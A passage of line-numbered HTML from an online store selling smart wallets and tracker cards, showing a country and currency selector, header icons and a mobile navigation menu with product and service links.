2843                        </button><button type="submit" name="country_code" value="VC" class="popover__choice-item">
2844                          <span class="popover__choice-label" >St. Vincent &amp; Grenadines (XCD $)
2845                          </span>
2846                        </button><button type="submit" name="country_code" value="SD" class="popover__choice-item">
2847                          <span class="popover__choice-label" >Sudan (EUR €)
2848                          </span>
2849                        </button><button type="submit" name="country_code" value="SR" class="popover__choice-item">
2850                          <span class="popover__choice-label" >Suriname (EUR €)
2851                          </span>
2852                        </button><button type="submit" name="country_code" value="SJ" class="popover__choice-item">
2853                          <span class="popover__choice-label" >Svalbard &amp; Jan Mayen (NOK kr)
2854                          </span>
2855                        </button><button type="submit" name="country_code" value="SE" class="popover__choice-item">
2856                          <span class="popover__choice-label" >Sweden (SEK kr)
2857                          </span>
2858                        </button><button type="submit" name="country_code" value="CH" class="popover__choice-item">
2859                          <span class="popover__choice-label" >Switzerland (CHF CHF)
2860                          </span>
2861                        </button><button type="submit" name="country_code" value="TW" class="popover__choice-item">
2862                          <span class="popover__choice-label" >Taiwan (TWD $)
2863                          </span>
2864                        </button><button type="submit" name="country_code" value="TJ" class="popover__choice-item">
2865                          <span class="popover__choice-label" >Tajikistan (TJS ЅМ)
2866                          </span>
2867                        </button><button type="submit" name="country_code" value="TZ" class="popover__choice-item">
2868                          <span class="popover__choice-label" >Tanzania (TZS Sh)
2869                          </span>
2870                        </button><button type="submit" name="country_code" value="TH" class="popover__choice-item">
2871                          <span class="popover__choice-label" >Thailand (THB ฿)
2872                          </span>
2873                        </button><button type="submit" name="country_code" value="TL" class="popover__choice-item">
2874                          <span class="popover__choice-label" >Timor-Leste (USD $)
2875                          </span>
2876                        </button><button type="submit" name="country_code" value="TG" class="popover__choice-item">
2877                          <span class="popover__choice-label" >Togo (XOF Fr)
2878                          </span>
2879                        </button><button type="submit" name="country_code" value="TK" class="popover__choice-item">
2880                          <span class="popover__choice-label" >Tokelau (NZD $)
2881                          </span>
2882                        </button><button type="submit" name="country_code" value="TO" class="popover__choice-item">
2883                          <span class="popover__choice-label" >Tonga (TOP T$)
2884                          </span>
2885                        </button><button type="submit" name="country_code" value="TT" class="popover__choice-item">
2886                          <span class="popover__choice-label" >Trinidad &amp; Tobago (TTD $)
2887                          </span>
2888                        </button><button type="submit" name="country_code" value="TA" class="popover__choice-item">
2889                          <span class="popover__choice-label" >Tristan da Cunha (GBP £)
2890                          </span>
2891                        </button><button type="submit" name="country_code" value="TR" class="popover__choice-item">
2892                          <span class="popover__choice-label" >Türkiye (EUR €)
2893                          </span>
2894                        </button><button type="submit" name="country_code" value="TN" class="popover__choice-item">
2895                          <span class="popover__choice-label" >Tunisia (EUR €)
2896                          </span>
2897                        </button><button type="submit" name="country_code" value="TM" class="popover__choice-item">
2898                          <span class="popover__choice-label" >Turkmenistan (EUR €)
2899                          </span>
2900                        </button><button type="submit" name="country_code" value="TC" class="popover__choice-item">
2901                          <span class="popover__choice-label" >Turks &amp; Caicos Islands (USD $)
2902                          </span>
2903                        </button><button type="submit" name="country_code" value="TV" class="popover__choice-item">
2904                          <span class="popover__choice-label" >Tuvalu (AUD $)
2905                          </span>
2906                        </button><button type="submit" name="country_code" value="UM" class="popover__choice-item">
2907                          <span class="popover__choice-label" >U.S. Outlying Islands (USD $)
2908                          </span>
2909                        </button><button type="submit" name="country_code" value="UG" class="popover__choice-item">
2910                          <span class="popover__choice-label" >Uganda (UGX USh)
2911                          </span>
2912                        </button><button type="submit" name="country_code" value="UA" class="popover__choice-item">
2913                          <span class="popover__choice-label" >Ukraine (UAH ₴)
2914                          </span>
2915                        </button><button type="submit" name="country_code" value="AE" class="popover__choice-item">
2916                          <span class="popover__choice-label" >United Arab Emirates (AED د.إ)
2917                          </span>
2918                        </button><button type="submit" name="country_code" value="GB" class="popover__choice-item">
2919                          <span class="popover__choice-label" >United Kingdom (GBP £)
2920                          </span>
2921                        </button><button type="submit" name="country_code" value="US" class="popover__choice-item">
2922                          <span class="popover__choice-label" aria-current="true">United States (USD $)
2923                          </span>
2924                        </button><button type="submit" name="country_code" value="UY" class="popover__choice-item">
2925                          <span class="popover__choice-label" >Uruguay (UYU $U)
2926                          </span>
2927                        </button><button type="submit" name="country_code" value="UZ" class="popover__choice-item">
2928                          <span class="popover__choice-label" >Uzbekistan (UZS so'm)
2929                          </span>
2930                        </button><button type="submit" name="country_code" value="VU" class="popover__choice-item">
2931                          <span class="popover__choice-label" >Vanuatu (VUV Vt)
2932                          </span>
2933                        </button><button type="submit" name="country_code" value="VA" class="popover__choice-item">
2934                          <span class="popover__choice-label" >Vatican City (EUR €)
2935                          </span>
2936                        </button><button type="submit" name="country_code" value="VE" class="popover__choice-item">
2937                          <span class="popover__choice-label" >Venezuela (USD $)
2938                          </span>
2939                        </button><button type="submit" name="country_code" value="VN" class="popover__choice-item">
2940                          <span class="popover__choice-label" >Vietnam (VND ₫)
2941                          </span>
2942                        </button><button type="submit" name="country_code" value="WF" class="popover__choice-item">
2943                          <span class="popover__choice-label" >Wallis &amp; Futuna (XPF Fr)
2944                          </span>
2945                        </button><button type="submit" name="country_code" value="EH" class="popover__choice-item">
2946                          <span class="popover__choice-label" >Western Sahara (MAD د.م.)
2947                          </span>
2948                        </button><button type="submit" name="country_code" value="YE" class="popover__choice-item">
2949                          <span class="popover__choice-label" >Yemen (YER ï·¼)
2950                          </span>
2951                        </button><button type="submit" name="country_code" value="ZM" class="popover__choice-item">
2952                          <span class="popover__choice-label" >Zambia (EUR €)
2953                          </span>
2954                        </button><button type="submit" name="country_code" value="ZW" class="popover__choice-item">
2955                          <span class="popover__choice-label" >Zimbabwe (USD $)
2956                          </span>
2957                        </button></div>
2958                  </div>
2959                </popover-content>
2960              </div></form><div class="header__icon-list"><button is="toggle-button" class="header__icon-wrapper tap-area hidden-phone " aria-controls="newsletter-popup" aria-expanded="false">
2961            <span class="visually-hidden">Newsletter</span><svg focusable="false" width="20" height="16" class="icon icon--header-email   " viewBox="0 0 20 16">
2962        <path d="M19 4l-9 5-9-5" fill="none" stroke="currentColor" stroke-width="1.5"></path>
2963        <path stroke="currentColor" fill="none" stroke-width="1.5" d="M1 1h18v14H1z"></path>
2964      </svg></button><a href="/search" is="toggle-link" class="header__icon-wrapper tap-area hidden-pocket hidden-lap " aria-label="Search" aria-controls="search-drawer" aria-expanded="false"><svg focusable="false" width="18" height="18" class="icon icon--header-search   " viewBox="0 0 18 18">
2965        <path d="M12.336 12.336c2.634-2.635 2.682-6.859.106-9.435-2.576-2.576-6.8-2.528-9.435.106C.373 5.642.325 9.866 2.901 12.442c2.576 2.576 6.8 2.528 9.435-.106zm0 0L17 17" fill="none" stroke="currentColor" stroke-width="1.5"></path>
2966      </svg></a><a href="https://essentialbag.com/customer_authentication/redirect?locale=en&region_country=US" class="header__icon-wrapper tap-area hidden-phone " aria-label="Login"><svg focusable="false" width="18" height="17" class="icon icon--header-customer   " viewBox="0 0 18 17">
2967        <circle cx="9" cy="5" r="4" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linejoin="round"></circle>
2968        <path d="M1 17v0a4 4 0 014-4h8a4 4 0 014 4v0" fill="none" stroke="currentColor" stroke-width="1.5"></path>
2969      </svg></a><a href="/cart"  class="header__icon-wrapper tap-area " aria-label="Shopping cart" data-no-instant><svg focusable="false" width="20" height="18" class="icon icon--header-cart   " viewBox="0 0 20 18">
2970        <path d="M3 1h14l1 16H2L3 1z" fill="none" stroke="currentColor" stroke-width="1.5"></path>
2971        <path d="M7 4v0a3 3 0 003 3v0a3 3 0 003-3v0" fill="none" stroke="currentColor" stroke-width="1.5"></path>
2972      </svg><cart-count class="header__cart-count header__cart-count--floating bubble-count">0</cart-count>
2973          </a>
2974        </div></div>
2975    </div></div>
2976</store-header><cart-notification global hidden class="cart-notification "></cart-notification><mobile-navigation append-body id="mobile-menu-drawer" class="drawer drawer--from-left">
2977  <span class="drawer__overlay"></span>
2978
2979  <div class="drawer__header drawer__header--shadowed">
2980    <button type="button" class="drawer__close-button drawer__close-button--block tap-area" data-action="close" title="Close"><svg focusable="false" width="14" height="14" class="icon icon--close   " viewBox="0 0 14 14">
2981        <path d="M13 13L1 1M13 1L1 13" stroke="currentColor" stroke-width="1.5" fill="none"></path>
2982      </svg></button>
2983  </div>
2984
2985  <div class="drawer__content">
2986    <ul class="mobile-nav list--unstyled" role="list"><li class="mobile-nav__item" data-level="1">
2986<a href="https://essentialbag.de/products/tracker-karte-pro-apple-android?variant=58415554691336" class="mobile-nav__link heading h6">NEU: Tracker Karte Pro</a></li><li class="mobile-nav__item" data-level="1"><a href="https://essentialbag.de/products/smart-wallet-3-0?_abr=1&variant=52869160141064" class="mobile-nav__link heading h6">Limited Smart Wallet</a></li><li class="mobile-nav__item" data-level="1"><a href="/products/tracker-karte" class="mobile-nav__link heading h6">Tracker Karte 3.0</a></li><li class="mobile-nav__item" data-level="1"><a href="/products/smart-wallet-3-0" class="mobile-nav__link heading h6">Smart Wallet 3.0</a></li><li class="mobile-nav__item" data-level="1"><a href="/products/essential-sling-bag" class="mobile-nav__link heading h6">Sling Bag 2.0</a></li><li class="mobile-nav__item" data-level="1"><button is="toggle-button" class="mobile-nav__link heading h6" aria-controls="mobile-menu-6" aria-expanded="false">Our products<span class="animated-plus"></span>
2987            </button>
2988
2989            <collapsible-content id="mobile-menu-6" class="collapsible"><ul class="mobile-nav list--unstyled" role="list"><li class="mobile-nav__item" data-level="2"><a href="/collections/all" class="mobile-nav__link">All products</a></li><li class="mobile-nav__item" data-level="2"><a href="/products/smart-wallet-3-0" class="mobile-nav__link">Smart Wallet 3.0 </a></li><li class="mobile-nav__item" data-level="2"><a href="/products/tracker-karte" class="mobile-nav__link">Tracker Card iOS & Android</a></li><li class="mobile-nav__item" data-level="2"><a href="/products/induktives-ladekabel-kabellos" class="mobile-nav__link">Inductive charging cable</a></li><li class="mobile-nav__item" data-level="2"><a href="/products/essential-belt" class="mobile-nav__link">Essential belt</a></li><li class="mobile-nav__item" data-level="2"><a href="/products/essential-sling-bag" class="mobile-nav__link">Essential sling bag</a></li><li class="mobile-nav__item" data-level="2"><a href="/products/schlusseletui" class="mobile-nav__link">Key case</a></li><li class="mobile-nav__item" data-level="2"><a href="/products/schlussel-tracker-ios-android" class="mobile-nav__link">Key Tracker iOS and Android</a></li><li class="mobile-nav__item" data-level="2"><a href="/products/digitale-visitenkarte" class="mobile-nav__link">Digital visitsCard with NFC tag</a></li><li class="mobile-nav__item" data-level="2"><a href="/products/ladekabel" class="mobile-nav__link">Mini multi charging cable</a></li><li class="mobile-nav__item" data-level="2"><a href="/products/valentinstag-herzanhanger-personalisierbar" class="mobile-nav__link">Personalizable heart pendant</a></li><li class="mobile-nav__item" data-level="2"><a href="/products/geschenkgutschein" class="mobile-nav__link">Gift voucher</a></li></ul><div class="mobile-nav__images-wrapper mobile-nav__images-wrapper--tight hide-scrollbar">
2990                  <div class="mobile-nav__images-scroller"><a href="/products/smart-wallet-3-0" class="mobile-nav__image-push"><img class="mobile-nav__image" loading="lazy" sizes="270px" height="420" width="560" alt="" src="//essentialbag.com/cdn/shop/files/Focal_Theme_Shopdesign_Navigation_560_x_420_3_Kopie_8b2fe474-7257-4928-a2d9-d385f9910fd1_560x.jpg?v=1705253382" srcset="//essentialbag.com/cdn/shop/files/Focal_Theme_Shopdesign_Navigation_560_x_420_3_Kopie_8b2fe474-7257-4928-a2d9-d385f9910fd1_270x.jpg?v=1705253382 270w, //essentialbag.com/cdn/shop/files/Focal_Theme_Shopdesign_Navigation_560_x_420_3_Kopie_8b2fe474-7257-4928-a2d9-d385f9910fd1_540x.jpg?v=1705253382 540w, //essentialbag.com/cdn/shop/files/Focal_Theme_Shopdesign_Navigation_560_x_420_3_Kopie_8b2fe474-7257-4928-a2d9-d385f9910fd1_560x.jpg?v=1705253382 560w"><p class="mobile-nav__image-heading heading heading--xsmall">Smart Wallet 3.0</p></a><a href="/products/tracker-karte" class="mobile-nav__image-push"><img class="mobile-nav__image" loading="lazy" sizes="270px" height="420" width="560" alt="" src="//essentialbag.com/cdn/shop/files/Focal_Theme_Shopdesign_Navigation_560_x_420_911d40ba-ab84-4b33-9cec-f85d93e364af_560x.jpg?v=1765362238" srcset="//essentialbag.com/cdn/shop/files/Focal_Theme_Shopdesign_Navigation_560_x_420_911d40ba-ab84-4b33-9cec-f85d93e364af_270x.jpg?v=1765362238 270w, //essentialbag.com/cdn/shop/files/Focal_Theme_Shopdesign_Navigation_560_x_420_911d40ba-ab84-4b33-9cec-f85d93e364af_540x.jpg?v=1765362238 540w, //essentialbag.com/cdn/shop/files/Focal_Theme_Shopdesign_Navigation_560_x_420_911d40ba-ab84-4b33-9cec-f85d93e364af_560x.jpg?v=1765362238 560w"><p class="mobile-nav__image-heading heading heading--xsmall">Tracker Card 3.0 for Apple and Android</p></a><a href="/products/induktives-ladekabel-kabellos" class="mobile-nav__image-push"><img class="mobile-nav__image" loading="lazy" sizes="270px" height="420" width="560" alt="" src="//essentialbag.com/cdn/shop/files/Focal_Theme_Shopdesign_Navigation_560_x_420_2_7d14cd88-3ee9-4679-9032-f9f9678f61bc_560x.jpg?v=1741770241" srcset="//essentialbag.com/cdn/shop/files/Focal_Theme_Shopdesign_Navigation_560_x_420_2_7d14cd88-3ee9-4679-9032-f9f9678f61bc_270x.jpg?v=1741770241 270w, //essentialbag.com/cdn/shop/files/Focal_Theme_Shopdesign_Navigation_560_x_420_2_7d14cd88-3ee9-4679-9032-f9f9678f61bc_540x.jpg?v=1741770241 540w, //essentialbag.com/cdn/shop/files/Focal_Theme_Shopdesign_Navigation_560_x_420_2_7d14cd88-3ee9-4679-9032-f9f9678f61bc_560x.jpg?v=1741770241 560w"><p class="mobile-nav__image-heading heading heading--xsmall">Inductive charging cable</p></a><a href="/products/schlusseletui" class="mobile-nav__image-push"><img class="mobile-nav__image" loading="lazy" sizes="270px" height="420" width="560" alt="" src="//essentialbag.com/cdn/shop/files/Focal_Theme_Shopdesign_Navigation_560_x_420_16_560x.jpg?v=1739982845" srcset="//essentialbag.com/cdn/shop/files/Focal_Theme_Shopdesign_Navigation_560_x_420_16_270x.jpg?v=1739982845 270w, //essentialbag.com/cdn/shop/files/Focal_Theme_Shopdesign_Navigation_560_x_420_16_540x.jpg?v=1739982845 540w, //essentialbag.com/cdn/shop/files/Focal_Theme_Shopdesign_Navigation_560_x_420_16_560x.jpg?v=1739982845 560w"><p class="mobile-nav__image-heading heading heading--xsmall">Key case</p></a><a href="/products/schlussel-tracker-ios-android" class="mobile-nav__image-push"><img class="mobile-nav__image" loading="lazy" sizes="270px" height="420" width="560" alt="" src="//essentialbag.com/cdn/shop/files/Focal_Theme_Shopdesign_Navigation_560_x_420_560x.png?v=1765362268" srcset="//essentialbag.com/cdn/shop/files/Focal_Theme_Shopdesign_Navigation_560_x_420_270x.png?v=1765362268 270w, //essentialbag.com/cdn/shop/files/Focal_Theme_Shopdesign_Navigation_560_x_420_540x.png?v=1765362268 540w, //essentialbag.com/cdn/shop/files/Focal_Theme_Shopdesign_Navigation_560_x_420_560x.png?v=1765362268 560w"><p class="mobile-nav__image-heading heading heading--xsmall">Key Tracker iOS and Android</p></a></div>
2991                </div></collapsible-content></li><li class="mobile-nav__item" data-level="1"><button is="toggle-button" class="mobile-nav__link heading h6" aria-controls="mobile-menu-7" aria-expanded="false">Bundles<span class="animated-plus"></span>
2992            </button>
2993
2994            <collapsible-content id="mobile-menu-7" class="collapsible"><ul class="mobile-nav list--unstyled" role="list"><li class="mobile-nav__item" data-level="2"><a href="/collections/unsere-angebote" class="mobile-nav__link">All Offers</a></li><li class="mobile-nav__item" data-level="2"><a href="/products/starter-set-3" class="mobile-nav__link">
2994Wallet 3.0 + key case set</a></li><li class="mobile-nav__item" data-level="2"><a href="/products/essential-value-set" class="mobile-nav__link">Essential Value Set</a></li><li class="mobile-nav__item" data-level="2"><a href="https://essentialbag.de/products/oster-value-set-copy" class="mobile-nav__link">Essential travel set</a></li><li class="mobile-nav__item" data-level="2"><a href="https://essentialbag.de/products/partner-set-3-0-copy" class="mobile-nav__link">Wallet All-in-One Set</a></li></ul><div class="mobile-nav__images-wrapper mobile-nav__images-wrapper--tight hide-scrollbar">
2995                  <div class="mobile-nav__images-scroller"><a href="/products/starter-set-3" class="mobile-nav__image-push"><img class="mobile-nav__image" loading="lazy" sizes="270px" height="420" width="560" alt="" src="//essentialbag.com/cdn/shop/files/Focal_Theme_Shopdesign_Navigation_560_x_420_12_560x.jpg?v=1722439828" srcset="//essentialbag.com/cdn/shop/files/Focal_Theme_Shopdesign_Navigation_560_x_420_12_270x.jpg?v=1722439828 270w, //essentialbag.com/cdn/shop/files/Focal_Theme_Shopdesign_Navigation_560_x_420_12_540x.jpg?v=1722439828 540w, //essentialbag.com/cdn/shop/files/Focal_Theme_Shopdesign_Navigation_560_x_420_12_560x.jpg?v=1722439828 560w"><p class="mobile-nav__image-heading heading heading--xsmall">Wallet 3.0 + key case set</p></a><a href="/products/oster-value-set-copy" class="mobile-nav__image-push"><img class="mobile-nav__image" loading="lazy" sizes="270px" height="420" width="560" alt="" src="//essentialbag.com/cdn/shop/files/EB_Essential_Value_Set_Altes_Ultimate_Bundle_560_x_420_px_1_560x.jpg?v=1774524813" srcset="//essentialbag.com/cdn/shop/files/EB_Essential_Value_Set_Altes_Ultimate_Bundle_560_x_420_px_1_270x.jpg?v=1774524813 270w, //essentialbag.com/cdn/shop/files/EB_Essential_Value_Set_Altes_Ultimate_Bundle_560_x_420_px_1_540x.jpg?v=1774524813 540w, //essentialbag.com/cdn/shop/files/EB_Essential_Value_Set_Altes_Ultimate_Bundle_560_x_420_px_1_560x.jpg?v=1774524813 560w"><p class="mobile-nav__image-heading heading heading--xsmall">Partner Set 3.0</p></a><a href="/products/partner-set-3-0-copy" class="mobile-nav__image-push"><img class="mobile-nav__image" loading="lazy" sizes="270px" height="420" width="560" alt="" src="//essentialbag.com/cdn/shop/files/EB_Essential_Value_Set_Altes_Ultimate_Bundle_560_x_420_px_9c35d9d3-c2b3-4631-8a5b-da87f484fe07_560x.jpg?v=1774524735" srcset="//essentialbag.com/cdn/shop/files/EB_Essential_Value_Set_Altes_Ultimate_Bundle_560_x_420_px_9c35d9d3-c2b3-4631-8a5b-da87f484fe07_270x.jpg?v=1774524735 270w, //essentialbag.com/cdn/shop/files/EB_Essential_Value_Set_Altes_Ultimate_Bundle_560_x_420_px_9c35d9d3-c2b3-4631-8a5b-da87f484fe07_540x.jpg?v=1774524735 540w, //essentialbag.com/cdn/shop/files/EB_Essential_Value_Set_Altes_Ultimate_Bundle_560_x_420_px_9c35d9d3-c2b3-4631-8a5b-da87f484fe07_560x.jpg?v=1774524735 560w"><p class="mobile-nav__image-heading heading heading--xsmall">Wallet all-in-one set</p></a><a href="/products/essential-family-set" class="mobile-nav__image-push"><img class="mobile-nav__image" loading="lazy" sizes="270px" height="420" width="560" alt="" src="//essentialbag.com/cdn/shop/files/Focal_Theme_Shopdesign_Navigation_560_x_420_1_639aad27-957d-4786-8399-96db8be4fb0b_560x.jpg?v=1765570625" srcset="//essentialbag.com/cdn/shop/files/Focal_Theme_Shopdesign_Navigation_560_x_420_1_639aad27-957d-4786-8399-96db8be4fb0b_270x.jpg?v=1765570625 270w, //essentialbag.com/cdn/shop/files/Focal_Theme_Shopdesign_Navigation_560_x_420_1_639aad27-957d-4786-8399-96db8be4fb0b_540x.jpg?v=1765570625 540w, //essentialbag.com/cdn/shop/files/Focal_Theme_Shopdesign_Navigation_560_x_420_1_639aad27-957d-4786-8399-96db8be4fb0b_560x.jpg?v=1765570625 560w"><p class="mobile-nav__image-heading heading heading--xsmall"><tc>WM-KICKOFF Value Set</tc></p></a></div>
2996                </div></collapsible-content></li><li class="mobile-nav__item" data-level="1"><button is="toggle-button" class="mobile-nav__link heading h6" aria-controls="mobile-menu-8" aria-expanded="false">Info<span class="animated-plus"></span>
2997            </button>
2998
2999            <collapsible-content id="mobile-menu-8" class="collapsible"><ul class="mobile-nav list--unstyled" role="list"><li class="mobile-nav__item" data-level="2"><button is="toggle-button" class="mobile-nav__link" aria-controls="mobile-menu-8-1" aria-expanded="false">Über Uns<span class="animated-plus"></span>
3000                        </button>
3001
3002                        <collapsible-content id="mobile-menu-8-1" class="collapsible">
3003                          <ul class="mobile-nav list--unstyled" role="list"><li class="mobile-nav__item" data-level="3">
3004                                <a href="/pages/uber-uns" class="mobile-nav__link">Unternehmensgeschichte</a>
3005                              </li><li class="mobile-nav__item" data-level="3">
3006                                <a href="/pages/produktentwicklung" class="mobile-nav__link">Produktentwicklung</a>
3007                              </li><li class="mobile-nav__item" data-level="3">
3008                                <a href="/pages/nachhaltigkeit" class="mobile-nav__link">Nachhaltigkeit</a>
3009                              </li><li class="mobile-nav__item" data-level="3">
3010                                <a href="/pages/bewertungen" class="mobile-nav__link">Kundenstimmen</a>
3011                              </li><li class="mobile-nav__item" data-level="3">
3012                                <a href="/pages/unser-team" class="mobile-nav__link">Unser Team</a>
3013                              </li><li class="mobile-nav__item" data-level="3">
3014                                <a href="/pages/karriere-jobs" class="mobile-nav__link">Karriere & Jobs</a>
3015                              </li><li class="mobile-nav__item" data-level="3">
3016                                <a href="https://empfehlung.essentialbag.de/create-account" class="mobile-nav__link">Weiterempfehlen</a>
3017                              </li><li class="mobile-nav__item" data-level="3">
3018                                <a href="/blogs/news" class="mobile-nav__link">Blog</a>
3019                              </li></ul>
3020                        </collapsible-content></li><li class="mobile-nav__item" data-level="2"><a href="/pages/unternehmen-b2b" class="mobile-nav__link">B2B</a></li><li class="mobile-nav__item" data-level="2"><button is="toggle-button" class="mobile-nav__link" aria-controls="mobile-menu-8-3" aria-expanded="false">Service & Hilfe<span class="animated-plus"></span>
3021                        </button>
3022
3023                        <collapsible-content id="mobile-menu-8-3" class="collapsible">
3024                          <ul class="mobile-nav list--unstyled" role="list"><li class="mobile-nav__item" data-level="3">
3025                                <a href="/pages/hilfe" class="mobile-nav__link">Übersicht</a>
3026                              </li><li class="mobile-nav__item" data-level="3">
3027                                <a href="/pages/kontakt" class="mobile-nav__link">Kontakt</a>
3028                              </li><li class="mobile-nav__item" data-level="3">
3029                                <a href="/pages/faq" class="mobile-nav__link">FAQ</a>
3030                              </li><li class="mobile-nav__item" data-level="3">
3031                                <a href="/pages/garantieerklarung-1" class="mobile-nav__link">Garantie</a>
3032                              </li><li class="mobile-nav__item" data-level="3">
3033                                <a href="/pages/zahlung-und-versand" class="mobile-nav__link">Versand</a>
3034                              </li><li class="mobile-nav__item" data-level="3">
3035                                <a href="/pages/retoure" class="mobile-nav__link">Retoure</a>
3036                              </li><li class="mobile-nav__item" data-level="3">
3037                                <a href="/pages/anleitungen" class="mobile-nav__link">Produktanleitungen</a>
3038                              </li></ul>
3039                        </collapsible-content></li><li class="mobile-nav__item" data-level="2"><button is="toggle-button" class="mobile-nav__link" aria-controls="mobile-menu-8-4" aria-expanded="false">Merch<span class="animated-plus"></span>
3040                        </button>
3041
3042                        <collapsible-content id="mobile-menu-8-4" class="collapsible">
3043                          <ul class="mobile-nav list--unstyled" role="list"><li class="mobile-nav__item" data-level="3">
3044                                <a href="/collections/merch" class="mobile-nav__link">Weitere</a>
3045                              </li></ul>
3046                        </collapsible-content></li></ul></collapsible-content></li></ul>
3047    
3048      <div id="mobile-menu_optional-image-header" class="mobile-menu_optional-image">
3049        <style>
3050          #mobile-menu_optional-image-header img{
3051            max-width: 230px;
3052            width: 100%;
3053            object-fit: contain;
3054          }
3055        </style>
3056        
3057        
3058          <a href="https://de.trustpilot.com/review/essentialbag.de">
3059        
3060        <img src="//essentialbag.com/cdn/shop/files/Menu_Bar_Trustpilot_3.jpg?v=1736440963&width=530" alt="" width="50" height="50" loading="lazy">
3061        
3062          </a>
3063        
3064      </div>
3065    
3066  </div><div class="drawer__footer drawer__footer--tight drawer__footer--bordered">
3067      <div class="mobile-nav__footer"><a class="icon-text" href="https://essentialbag.com/customer_authentication/redirect?locale=en&region_country=US"><svg focusable="false" width="18" height="17" class="icon icon--header-customer   " viewBox="0 0 18 17">
3068        <circle cx="9" cy="5" r="4" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linejoin="round"></circle>
3069        <path d="M1 17v0a4 4 0 014-4h8a4 4 0 014 4v0" fill="none" stroke="currentColor" stroke-width="1.5"></path>
3070      </svg>Account</a><form method="post" action="/localization" id="header-sidebar-localization-form" accept-charset="UTF-8" class="header__cross-border" enctype="multipart/form-data"><input type="hidden" name="form_type" value="localization" /><input type="hidden" name="utf8" value="✓" /><input type="hidden" name="_method" value="put" /><input type="hidden" name="return_to" value="/cart" /><div class="popover-container">
3071                <input type="hidden" name="country_code" value="US">
3072                <span class="visually-hidden">Country/Region</span>
3073
3074                <button type="button" is="toggle-button" class="popover-button text--xsmall tap-area" aria-expanded="false" aria-controls="header-sidebar-localization-form-currency">United States (USD $)<svg focusable="false" width="9" height="6" class="icon icon--chevron icon--inline  " viewBox="0 0 12 8">
3075        <path fill="none" d="M1 1l5 5 5-5" stroke="currentColor" stroke-width="1.5"></path>
3076      </svg></button>
3077
3078                <popover-content id="header-sidebar-localization-form-currency" class="popover popover--top popover--small">
3079                  <span class="popover__overlay"></span>
3080
3081                  <header class="popover__header">
3082                    <span class="popover__title heading h6">Country/Region</span>
3083
3084                    <button type="button" class="popover__close-button tap-area tap-area--large" data-action="close" title="Close"><svg focusable="false" width="14" height="14" class="icon icon--close   " viewBox="0 0 14 14">
3085        <path d="M13 13L1 1M13 1L1 13" stroke="currentColor" stroke-width="1.5" fill="none"></path>
3086      </svg></button>
3087                  </header>
3088
3089                  <div class="popover__content">
3090                    <div class="popover__choice-list"><button type="submit" name="country_code" value="AF" class="popover__choice-item">
3091                          <span class="popover__choice-label" >Afghanistan (AFN ؋)
3092                          </span>
3093                        </button><button type="submit" name="country_code" value="AX" class="popover__choice-item">
3094                          <span class="popover__choice-label" >Åland Islands (EUR €)
3095                          </span>
3096                        </button><button type="submit" name="country_code" value="AL" class="popover__choice-item">
3097                          <span class="popover__choice-label" >Albania (ALL L)
3098                          </span>
3099                        </button><button type="submit" name="country_code" value="DZ" class="popover__choice-item">
3100                          <span class="popover__choice-label" >Algeria (DZD د.ج)
3101                          </span>
3102                        </button><button type="submit" name="country_code" value="AD" class="popover__choice-item">
3103                          <span class="popover__choice-label" >Andorra (EUR €)
3104                          </span>
3105                        </button><button type="submit" name="country_code" value="AO" class="popover__choice-item">
3106                          <span class="popover__choice-label" >Angola (EUR €)
3107                          </span>
3108                        </button><button type="submit" name="country_code" value="AI" class="popover__choice-item">
3109                          <span class="popover__choice-label" >Anguilla (XCD $)
3110                          </span>
3111                        </button><button type="submit" name="country_code" value="AG" class="popover__choice-item">
3112                          <span class="popover__choice-label" >Antigua &amp; Barbuda (XCD $)
3113                          </span>
3114                        </button><button type="submit" name="country_code" value="AR" class="popover__choice-item">
3115                          <span class="popover__choice-label" >Argentina (EUR €)
3116                          </span>
3117                        </button><button type="submit" name="country_code" value="AM" class="popover__choice-item">
3118                          <span class="popover__choice-label" >Armenia (AMD դր.)
3119                          </span>
3120                        </button><button type="submit" name="country_code" value="AW" class="popover__choice-item">
3121                          <span class="popover__choice-label" >Aruba (AWG ƒ)
3122                          </span>
3123                        </button><button type="submit" name="country_code" value="AC" class="popover__choice-item">
3124                          <span class="popover__choice-label" >Ascension Island (SHP £)
3125                          </span>
3126                        </button><button type="submit" name="country_code" value="AU" class="popover__choice-item">
3127                          <span class="popover__choice-label" >Australia (AUD $)
3128                          </span>
3129                        </button><button type="submit" name="country_code" value="AT" class="popover__choice-item">
3130                          <span class="popover__choice-label" >Austria (EUR €)
3131                          </span>
3132                        </button><button type="submit" name="country_code" value="AZ" class="popover__choice-item">
3133                          <span class="popover__choice-label" >Azerbaijan (AZN ₼)
3134                          </span>
3135                        </button><button type="submit" name="country_code" value="BS" class="popover__choice-item">
3136                          <span class="popover__choice-label" >Bahamas (BSD $)
3137                          </span>
3138                        </button><button type="submit" name="country_code" value="BH" class="popover__choice-item">
3139                          <span class="popover__choice-label" >Bahrain (EUR €)
3140                          </span>
3141                        </button><button type="submit" name="country_code" value="BD" class="popover__choice-item">
3142                          <span class="popover__choice-label" >Bangladesh (BDT à§³)
3143                          </span>
3144                        </button><button type="submit" name="country_code" value="BB" class="popover__choice-item">
3145                          <span class="popover__choice-label" >Barbados (BBD $)
3146                          </span>
3147                        </button><button type="submit" name="country_code" value="BY" class="popover__choice-item">
3148                          <span class="popover__choice-label" >Belarus (EUR €)
3149                          </span>
3150                        </button><button type="submit" name="country_code" value="BE" class="popover__choice-item">
3151                          <span class="popover__choice-label" >Belgium (EUR €)
3152                          </span>
3153                        </button><button type="submit" name="country_code" value="BZ" class="popover__choice-item">
3154                          <span class="popover__choice-label" >Belize (BZD $)
3155                          </span>
3156                        </button><button type="submit" name="country_code" value="BJ" class="popover__choice-item">
3157                          <span class="popover__choice-label" >Benin (XOF Fr)
3158                          </span>
3159                        </button><button type="submit" name="country_code" value="BM" class="popover__choice-item">
3160                          <span class="popover__choice-label" >Bermuda (USD $)
3161                          </span>
3162                        </button><button type="submit" name="country_code" value="BT" class="popover__choice-item">
3163                          <span class="popover__choice-label" >Bhutan (EUR €)
3164                          </span>
3165                        </button><button type="submit" name="country_code" value="BO" class="popover__choice-item">
3166                          <span class="popover__choice-label" >Bolivia (BOB Bs.)
3167                          </span>
3168                        </button><button type="submit" name="country_code" value="BA" class="popover__choice-item">
3169                          <span class="popover__choice-label" >Bosnia &amp; Herzegovina (BAM КМ)
3170                          </span>
3171                        </button><button type="submit" name="country_code" value="BW" class="popover__choice-item">
3172                          <span class="popover__choice-label" >Botswana (BWP P)
3173                          </span>
3174                        </button><button type="submit" name="country_code" value="BR" class="popover__choice-item">
